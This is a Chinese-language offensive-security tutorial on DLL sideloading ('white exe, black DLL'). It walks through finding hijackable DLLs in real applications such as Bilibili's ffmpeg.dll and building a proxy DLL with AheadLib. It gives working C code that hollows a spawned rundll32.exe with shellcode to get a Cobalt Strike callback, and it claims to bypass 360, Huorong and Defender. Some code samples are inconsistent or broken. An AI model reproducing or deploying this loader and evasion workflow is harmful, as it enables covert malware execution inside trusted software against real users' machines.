简单来说就是通过白名单的exe运行来去加载恶意的dll达到shellcode加载的目的,那么就需要对exe加载的dll进行了解
DLL前置知识
DLL路径搜索目录顺序
• 1. 程序所在目录
• 2. 程序加载目录(SetCurrentDirectory)
• 3. 系统目录即 SYSTEM32 目录
• 4.16 位系统目录即 SYSTEM 目录
• 5.Windows 目录
• 6.PATH 环境变量中列出的目录
Know DLLs 注册表项
Know DLLs注册表项里的DLL列表在应用程序运行后就已经加入到了内核空间中,多个进程公用这些模块,必须具有非常高的权限才能修改
Know DLLs 注册表项的路径为:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
劫持应用中存在的dll
直接转发 Direcrt Forwarding
直接转发对主程序来说,其实就是调用了原来 dll 的某个函数。
1.修改导出表
在导出表中将要转发的函数入口地址指向另一个DLL对应函数的入口地址
2.实际调用过程
其他程序调用DLL中被转发的函数时,系统会重定向到转发目标DLL中的对应函数。
设 DLL A 中的函数 MyFunction() 被直接转发到 DLLB 中的函数 RealFunction(),那么调用 MyFunction() 实际上会调用 RealFunction()
及时调用 Delay Load and Call
即时调用实际上是调用了劫持dll的某个函数,只不过那个函数会jm 到原本的dll中的相应函数的地址,达到的效果相同,但是实现的原理不同
延迟加载目标 DLL
当 DLL A 中的函数被调用时,首先使用 LoadLibrary 加载目标 DLLB获取函数入口地址
然后使用 GetProcAddress 获取目标 DLL 中要调用的函数的入口地址。实际调用过程:
使用获取到的函数入口地址调用目标函数
这种方式的优点是,可以在需要调用函数时才加载目标 DLLB.
注意事项
不管是转发还是劫持,都需要注意使用对应位数的shellcode,可以使用01Eidor来打开exe查看,生成dll时候也需注意
DllMain 入口函数
这是动态链接库的可选入口点。系统启动或终止进程或线程的时候,它会使用进程的第一个线程为每个加载的DLL来调用入口点函数
当Dll使用LoadLibrary加载和使用FreeLibrary函数卸载dll时候,系统还会回调该函数的入口点函数
/*
* hModule:DLL模块句柄
* ul_reason_for_call:调用函数的原因
* lpReserved:保留参数
*/
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: // 当DLL被进程加载时执行,每个新进程只初始化一次。
case DLL_THREAD_ATTACH: // 当线程被创建时调用
case DLL_THREAD_DETACH: // 当线程结束时执行
case DLL_PROCESS_DETACH: // 当DLL被进程卸载时执行
if (lpvReserved != nullptr)
{
break; // lpvReserved为非空时,表示进程被终止,不做任何清理
}
// 执行必要的清理
break;
}
return TRUE; // DLL_PROCESS_ATTACH成功
}
DLL_PROCESS_ARRACH
当一个dll文件被映射到进程的地址空间时,系统调用dllmain,传递fdwReason参数为DLL_PROCESS_ARRACH,只会被传递一次
DLL_PROCESS_DETACH
当dll被从进程的地址空间接触映射时调用
比如:
1.调用FreeLibray()
2.进程结束
3.传入DLL_PROCESS_ATTACH的dllmain返回False
DLL_PROCESS_ATTACH
当进程创建一线程调用时,与DLL_PROCESS_ATTACH不同,该值可以被多次调用。
DllMain函数名修饰-APIENTRY
APIENTRY根据宏定义 WINAPI以及stdcall,可知是属于stdcall调用约定。
这种约定主要约束了两件事:参数传递顺序、调用堆栈由谁清理(调用函数或被调用函数)。
常见的函数调用约定有:cdecl stdcall fastcall thiscall
其中 cdecl 是 C\C++ 的默认调用约定,stdcall 是 Windows API 的默认调用约定。
Dll的调试
这里写一个例子来进行dll的开发和调试
pch.h对应的源文件
这段代码定义了一个 study_dll_EXPORTS的宏,定义API_DECLSPECKM为declspec(dllexport),否则则定义API_DECLSPECKM为declspec(dllimport)
生成dll后在用dumpbin来查看导出表,注意dumpbin要找到对应位数这里是64位,不要用成arm的了
这里学习一下调用dll来调试dll中的代码。首先需要可以调用这个dll的exe,这点很重要。创建一个控制台项目,然后代码里面加载dll,获取到HModule后,在用GetProcAddress来获取dll里面的方法
这里再return这下断点 可以看到调试成功了
dll静态和动态调用的特点
dll静态调用特点
程序在编译时将所需的dll文件嵌入到可执行文件中,也就是dll文件与可执行文件捆绑在一起。
当程序运行时,操作系统会将静态链接库(Static Link Library)中的代码和数据复制到程序的内存空间中,这样程序就可以直接使用 DLL 中的功能。由于 DLL 文件已经被嵌入到可执行文件中,因此程序在运行时不需要再加载 DLL 文件,可以直接执行。
示例 编写一个静态dll文件 mydll.lib
// 定义 DLL 导出函数的原型
typedef int (*DLLFUNC)(int);
int main()
{
// 加载静态链接库
// 获取 DLL 导出函数指针
DLLFUNC MyFunc = (DLLFUNC)GetProcAddress(hLib, "MyFunc");
// 调用 DLL 导出函数
int result = MyFunc(123);
return 0;
}
dll动态调用的特点
如果所需要dll不存在,不会返回错误代码(除非在代码里面写了Getlasterror这些)
dllmain上线问题
根据微软官方文档,不能在 DllMain 中调用直接或间接尝试获取加载程序锁的任何函数,否则将导致死锁,这意味着不能使用 Sleep(Ex)、WaitForSingleObject 等有等待延迟的函数,此外微软还列举了 DllMain 中不能使用的一些函数如直接或间接使用 LoadLibrary(Ex)、GetStringTypeA 等,CreateProcess 和 CreateThread 可以调用但存在风险:
dllmain里面不能创建进程这个问题是一个坑。
也就是说创建线程申请内存加载shellcode需要在导出函数里面操作,不能再dllmain里面直接操作,需要找到第一个执行的函数就能行,但是麻烦,我们可以可以新定义一个函数来申请内存,加载到内存中,在dllmain中只需要去用CreateThread来调用它就可以了。
寻找可用dll
这是一个关键性的问题,可执行文件的导入dll那么多,用哪个dll来加黑呢?这个可以说是最关键的一步!
一般我们能利用的 dll 都是特殊的 dll,无论 SafeDllSearchMode 是否开启最终都是在当前路径之下搜索。
这里来罗列一下几种方法
1.孤独寻找
最容易想到的操作,就是把exe单独移动出来,然后运行看看报错是什么,这里报错是缺少ffmpeg.dll,
但是这种方法不保证管用和准确性
100多MB的启动程序导入表dll居然这么少 通过查看导入表,来判断排除系统dll,然后看看在结合目录寻找软件的dll
有些程序光是一个dll还无法正常打开运行,可能是dll1还需要dll2,这种就不好去找了。有些能运行上线,但是程序无法正常使用,想要劫持了dll加黑,又要原程序正常运行这是一件很难的事情。
Procmon助我
使用Procmon任务管理器来动态运行程序查找,可以逐步分析需要动态加载哪些关键DLL。
先来一个Filter
内容还是太多了,需要再过滤一下,只看dll的
加上path以.dll结尾的过滤器
再加上一个exclude,就可以排除完了
巧用工具
寻找了好几款工具,对比测试发现ZeroEye效果还不错
利用工具来检查可以被劫持的dll,可以快速排除寻找
https://github.com/ImCoriander/ZeroEye/tree/ZeroEye
这款工具python运行调用PE程序去寻找,成功找到后会生成对应目录
这里给出了exe的导入DLL,分成系统DLL和程序的DLL,一目了然,比如寻找wyy的
cloudmusic_util.exe这里导入依赖了很多dll
这里还差一个dll,我们手动排查发现
那么在给他加上libFLAC_dynamic.dll就可以直接运行了
黑Dll制作
我这里测试就选择这个某哔哩ffmpeg.dll来制作,通过使用AheadLib来做dll的相关函数导出,但是之前的这个软件导出x64位的dll就会直接闪退,没办法已经没有更新了
在GitHub上找到了一个可以用的,但是导出之后需要把asm相关函数编译成obj,比较麻烦
https://github.com/strivexjun/AheadLib-x86-x64
导出转发生成了ffmpeg_jump.asm和ffmpeg.cpp文件
编译的时候就发现存在两个函数的报错,尝试了很久,添加链接器到Shlwapi.h物理路径也不行,就很奇怪 shlwapi.h已经引用 找不到pathstrippath”和“strcmpi”
没有用,只能尝试替换掉这两个函数了
当然可以用其他的轮子来加载dllmain
(由于dll被修改后哔哩打开就闪退了,之前那个是在dllmain中调用函数来创建线程,所以闪退会导致CS这边也退掉)
想要保持修改dll后的软件exe也能正常运行打开,不是那么好做,是比较困难的,条件要求很高。那么可以考虑换一种方法来执行。
注入进程,一种常用的轮子
unsigned char payload[] = "\xfc\xe8...";
unsigned int payload_len = sizeof payload - 1;
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: {
char* v7A = (char*)VirtualAlloc(0, payload_len, 0x3000u, 0x40u);
memcpy((void*)v7A, payload, payload_len);
struct _PROCESS_INFORMATION ProcessInformation;
struct _STARTUPINFOA StartupInfo;
void* v24;
CONTEXT Context;
memset(&StartupInfo, 0, sizeof(StartupInfo));
StartupInfo.cb = 68;
BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation);
if (result)
{
Context.ContextFlags = 65539;
GetThreadContext(ProcessInformation.hThread, &Context);
v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, payload_len, 0x1000u, 0x40u);
WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, payload_len, NULL);
// 32 位使用 Context.Eip = (DWORD_PTR)v24;
Context.Rip = (DWORD_PTR)v24;
SetThreadContext(ProcessInformation.hThread, &Context);
ResumeThread(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hThread);
result = CloseHandle(ProcessInformation.hProcess);
}
TerminateProcess(GetCurrentProcess(), 0);
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
ok 代码的问题解决了,但是再编译的时候出现了上面的导出函数无法被识别的问题
这里就需要来编译asm文件了,参考asm注释里面给的命令,需要注意ml64是vsstudio里面的文件,因为这里没有加入到环境变量中,所以写全路径,编译得到了ffmpeg_jump.obj
"E:\C project\Microsoft Visual Studio\VC\Tools\MSVC\14.16.27023\bin\HostX64\x64\ml64" /Fo ffmpeg_jump.obj /c /Cp ffmpeg_jump.asm
把ffmpeg_jump.obj复制到项目目录下
然后把obj文件添加到链接器里面
放回到安装目录可以上线,这里是启动了rundll32.exe来上线的
这样子单独拎出来也可以上线,不过还没有做免杀
再加上一点自己的免杀手段上去,这里就不继续展开了
360,火绒,defender通通bypass!
放一下defender免杀效果图
defender静态查杀
defender动态查杀
参考链接:
https://www.freebuf.com/articles/system/333690.html
https://github.com/strivexjun/AheadLib-x86-x64
https://learn.microsoft.com/zh-cn/windows/win32/dlls/dynamic-link-library-best-practices?redirectedfrom=MSDN
https://github.com/ImCoriander/ZeroEye/tree/ZeroEye
推 荐 阅 读
横向移动之RDP&Desktop Session Hija